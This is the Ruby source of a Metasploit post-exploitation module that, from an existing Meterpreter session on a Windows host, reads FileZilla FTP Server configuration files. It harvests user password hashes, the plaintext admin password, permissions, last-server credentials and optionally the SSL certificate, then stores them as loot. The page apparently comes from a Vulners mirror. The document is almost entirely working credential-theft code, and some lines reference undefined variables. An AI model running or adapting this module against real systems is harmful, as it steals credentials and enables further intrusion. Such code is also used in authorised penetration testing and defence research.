##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rexml/document'
class MetasploitModule < Msf::Post
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather FileZilla FTP Server Credential Collection',
'Description' => %q{ This module will collect credentials from the FileZilla FTP server if installed. },
'License' => MSF_LICENSE,
'Author' => [
'bannedit', # original idea & module
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_channel_eof
core_channel_open
core_channel_read
core_channel_write
stdapi_registry_query_value_direct
stdapi_sys_config_getenv
stdapi_sys_config_getuid
]
}
}
)
)
register_options([
OptBool.new('SSLCERT', [false, 'Loot the SSL Certificate if its there?', false]), # useful perhaps for MITM
])
end
def run
if session.type != 'meterpreter'
print_error 'Only meterpreter sessions are supported by this post module'
return
end
progfiles_env = session.sys.config.getenvs('ProgramFiles', 'ProgramFiles(x86)', 'ProgramW6432')
locations = []
progfiles_env.each do |_k, v|
next if v.blank?
locations << v + '\\FileZilla Server\\'
end
keys = [
'HKLM\\SOFTWARE\\FileZilla Server',
'HKLM\\SOFTWARE\\Wow6432Node\\FileZilla Server',
]
keys.each do |key|
begin
root_key, base_key = session.sys.registry.splitkey(key)
value = session.sys.registry.query_value_direct(root_key, base_key, 'install_dir')
rescue Rex::Post::Meterpreter::RequestError => e
vprint_error(e.message)
next
end
locations << value.data + '\\'
end
locations = locations.uniq
filezilla = check_filezilla(locations)
get_filezilla_creds(filezilla) if filezilla
end
def check_filezilla(locations)
paths = []
begin
locations.each do |location|
print_status("Checking for Filezilla Server directory in: #{location}")
begin
session.fs.dir.foreach(location.to_s) do |fdir|
['FileZilla Server.xml', 'FileZilla Server Interface.xml'].each do |xmlfile|
next unless fdir == xmlfile
filepath = location + xmlfile
print_good("Configuration file found: #{filepath}")
paths << filepath
end
end
rescue Rex::Post::Meterpreter::RequestError => e
vprint_error(e.message)
end
end
rescue ::Exception => e
print_error(e.to_s)
return
end
if !paths.empty?
print_good("Found FileZilla Server on #{sysinfo['Computer']} via session ID: #{session.sid}")
print_line
return paths
end
return nil
end
def get_filezilla_creds(paths)
fs_xml = '' # FileZilla Server.xml - Settings for the local install
fsi_xml = '' # FileZilla Server Interface.xml - Last server used with the interface
credentials = Rex::Text::Table.new(
'Header' => 'FileZilla FTP Server Credentials',
'Indent' => 1,
'Columns' =>
[
'Host',
'Port',
'User',
'Password',
'SSL'
]
)
permissions = Rex::Text::Table.new(
'Header' => 'FileZilla FTP Server Permissions',
'Indent' => 1,
'Columns' =>
[
'Host',
'User',
'Dir',
'FileRead',
'FileWrite',
'FileDelete',
'FileAppend',
'DirCreate',
'DirDelete',
'DirList',
'DirSubdirs',
'AutoCreate',
'Home'
]
)
configuration = Rex::Text::Table.new(
'Header' => 'FileZilla FTP Server Configuration',
'Indent' => 1,
'Columns' =>
[
'FTP Port',
'FTP Bind IP',
'Admin Port',
'Admin Bind IP',
'Admin Password',
'SSL',
'SSL Certfile',
'SSL Key Password'
]
)
lastserver = Rex::Text::Table.new(
'Header' => 'FileZilla FTP Last Server',
'Indent' => 1,
'Columns' =>
[
'IP',
'Port',
'Password'
]
)
paths.each do |path|
file = session.fs.file.new(path, 'rb')
until file.eof?
if path.include? 'FileZilla Server.xml'
fs_xml << file.read
elsif path.include? 'FileZilla Server Interface.xml'
fsi_xml << file.read
end
end
file.close
end
# user credentials password is just an MD5 hash
# admin pass is just plain text. Priorities?
creds, perms, config = parse_server(fs_xml)
creds.each do |cred|
credentials << [cred['host'], cred['port'], cred['user'], cred['password'], cred['ssl']]
session.db_record ? (source_id = session.db_record.id) : (source_id = nil)
service_data = {
address: session.session_host,
port: config['ftp_port'],
service_name: 'ftp',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
jtr_format: 'raw-md5',
session_id: session_db_id,
post_reference_name: refname,
private_type: :nonreplayable_hash,
private_data: cred['password'],
username: cred['user']
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
create_credential_login(login_data)
end
perms.each do |perm|
permissions << [
perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'],
perm['filedelete'], perm['fileappend'], perm['dircreate'], perm['dirdelete'], perm['dirlist'],
perm['dirsubdirs'], perm['autocreate'], perm['home']
]
end
session.db_record ? (source_id = session.db_record.id) : (source_id = nil)
# report the goods!
if config['admin_pass'] == '<none>'
vprint_status('Detected Default Adminstration Settings:')
else
vprint_status('Collected the following configuration details:')
service_data = {
address: session.session_host,
port: config['admin_port'],
service_name: 'filezilla-admin',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
private_type: :password,
private_data: config['admin_pass'],
username: 'admin'
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
create_credential_login(login_data)
end
vprint_status(" FTP Port: #{config['ftp_port']}")
vprint_status(" FTP Bind IP: #{config['ftp_bindip']}")
vprint_status(" SSL: #{config['ssl']}")
vprint_status(" Admin Port: #{config['admin_port']}")
vprint_status(" Admin Bind IP: #{config['admin_bindip']}")
vprint_status(" Admin Pass: #{config['admin_pass']}")
vprint_line
configuration << [
config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'],
config['admin_pass'], config['ssl'], config['ssl_certfile'], config['ssl_keypass']
]
begin
lastser = parse_interface(fsi_xml)
lastserver << [lastser['ip'], lastser['port'], lastser['password']]
vprint_status('Last Server Information:')
vprint_status(" IP: #{lastser['ip']}")
vprint_status(" Port: #{lastser['port']}")
vprint_status(" Password: #{lastser['password']}")
vprint_line
rescue StandardError
vprint_error('Could not parse FileZilla Server Interface.xml')
end
loot_path = store_loot('filezilla.server.creds', 'text/csv', session, credentials.to_csv,
'filezilla_server_credentials.csv', 'FileZilla FTP Server Credentials')
print_status("Credentials saved in: #{loot_path}")
loot_path = store_loot('filezilla.server.perms', 'text/csv', session, permissions.to_csv,
'filezilla_server_permissions.csv', 'FileZilla FTP Server Permissions')
print_status("Permissions saved in: #{loot_path}")
loot_path = store_loot('filezilla.server.config', 'text/csv', session, configuration.to_csv,
'filezilla_server_configuration.csv', 'FileZilla FTP Server Configuration')
print_status(" Config saved in: #{loot_path}")
loot_path = store_loot('filezilla.server.lastser', 'text/csv', session, lastserver.to_csv,
'filezilla_server_lastserver.csv', 'FileZilla FTP Last Server')
print_status(" Last server history: #{loot_path}")
print_line
end
def parse_server(data)
creds = []
perms = []
groups = []
settings = {}
users = 0
passwords = 0
begin
doc = REXML::Document.new(data).root
rescue REXML::ParseException
print_error('Invalid xml format')
end
opt = doc.elements.to_a('Settings/Item')
if opt[1].nil? # Default value will only have a single line, for admin port - no adminstration settings
settings['admin_port'] = begin
opt[0].text
rescue StandardError
'<none>'
end
settings['ftp_port'] = 21
else
settings['ftp_port'] = begin
opt[0].text
rescue StandardError
21
end
settings['admin_port'] = begin
opt[16].text
rescue StandardError
'<none>'
end
end
settings['admin_pass'] = begin
opt[17].text
rescue StandardError
'<none>'
end
settings['local_host'] = begin
opt[18].text
rescue StandardError
''
end
settings['bindip'] = begin
opt[38].text
rescue StandardError
''
end
settings['ssl'] = begin
opt[42].text
rescue StandardError
''
end
# empty means localhost only * is 0.0.0.0
if settings['local_host']
settings['admin_bindip'] = settings['local_host']
else
settings['admin_bindip'] = '127.0.0.1'
end
settings['admin_bindip'] = '0.0.0.0' if settings['admin_bindip'] == '*' || settings['admin_bindip'].empty?
if settings['bindip']
settings['ftp_bindip'] = settings['bindip']
else
settings['ftp_bindip'] = '127.0.0.1'
end
settings['ftp_bindip'] = '0.0.0.0' if settings['ftp_bindip'] == '*' || settings['ftp_bindip'].empty?
settings['ssl'] = settings['ssl'] == '1'
if !settings['ssl'] && datastore['SSLCERT']
print_error('Cannot loot the SSL Certificate, SSL is disabled in the configuration file')
end
settings['ssl_certfile'] = begin
items[45].text
rescue StandardError
'<none>'
end
# Get the file if it is there. It could be useful in MITM attacks
if settings['ssl_certfile'] != '<none>' && settings['ssl'] && datastore['SSLCERT']
sslfile = session.fs.file.new(settings['ssl_certfile'])
sslcert << sslfile.read until sslfile.eof?
store_loot('filezilla.server.ssl.cert', 'text/plain', session, sslfile,
settings['ssl_cert'] + '.txt', 'FileZilla Server SSL Certificate File')
print_status('Looted SSL Certificate File')
end
settings['ssl_certfile'] = '<none>' if settings['ssl_certfile'].nil?
settings['ssl_keypass'] = begin
items[50].text
rescue StandardError
'<none>'
end
settings['ssl_keypass'] = '<none>' if settings['ssl_keypass'].nil?
vprint_status('Collected the following credentials:') if doc.elements['Users']
doc.elements.each('Users/User') do |user|
account = {}
opt = user.elements.to_a('Option')
account['user'] = begin
user.attributes['Name']
rescue StandardError
'<none>'
end
account['password'] = begin
opt[0].text
rescue StandardError
'<none>'
end
account['group'] = begin
opt[1].text
rescue StandardError
'<none>'
end
users += 1
passwords += 1
groups << account['group']
user.elements.to_a('Permissions/Permission').each do |permission|
perm = {}
opt = permission.elements.to_a('Option')
perm['user'] = begin
user.attributes['Name']
rescue StandardError
'<unknown>'
end
perm['dir'] = begin
permission.attributes['Dir']
rescue StandardError
'<unknown>'
end
perm['fileread'] = begin
opt[0].text
rescue StandardError
'<unknown>'
end
perm['filewrite'] = begin
opt[1].text
rescue StandardError
'<unknown>'
end
perm['filedelete'] = begin
opt[2].text
rescue StandardError
'<unknown>'
end
perm['fileappend'] = begin
opt[3].text
rescue StandardError
'<unknown>'
end
perm['dircreate'] = begin
opt[4].text
rescue StandardError
'<unknown>'
end
perm['dirdelete'] = begin
opt[5].text
rescue StandardError
'<unknown>'
end
perm['dirlist'] = begin
opt[6].text
rescue StandardError
'<unknown>'
end
perm['dirsubdirs'] = begin
opt[7].text
rescue StandardError
'<unknown>'
end
perm['autocreate'] = begin
opt[9].text
rescue StandardError
'<unknown>'
end
perm['host'] = settings['ftp_bindip']
opt[8].text == '1' ? (perm['home'] = 'true') : (perm['home'] = 'false')
perms << perm
end
user.elements.to_a('IpFilter/Allowed').each do |allowed|
end
user.elements.to_a('IpFilter/Disallowed').each do |disallowed|
end
account['host'] = settings['ftp_bindip']
account['port'] = settings['ftp_port']
account['ssl'] = settings['ssl'].to_s
creds << account
vprint_status(" Username: #{account['user']}")
vprint_status(" Password: #{account['password']}")
vprint_status(" Group: #{account['group']}") if account['group']
vprint_line
end
# Rather than printing out all the values, just count up
groups = groups.uniq unless groups.uniq.nil?
if !datastore['VERBOSE']
print_status('Collected the following credentials:')
print_status(" Usernames: #{users}")
print_status(" Passwords: #{passwords}")
print_status(" Groups: #{groups.length}")
print_line
end
return [creds, perms, settings]
end
def parse_interface(data)
lastser = {}
begin
doc = REXML::Document.new(data).root
rescue REXML::ParseException
print_error('Invalid xml format')
return lastser
end
opt = doc.elements.to_a('Settings/Item')
opt.each do |item|
case item.attributes['name']
when /Address/
lastser['ip'] = item.text
when /Port/
lastser['port'] = item.text
when /Password/
lastser['password'] = item.text
end
end
lastser['password'] = '<none>' if lastser['password'].nil?
lastser
end
def got_root?
session.sys.config.getuid =~ /SYSTEM/ ? true : false
end
def whoami
session.sys.config.getenv('USERNAME')
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation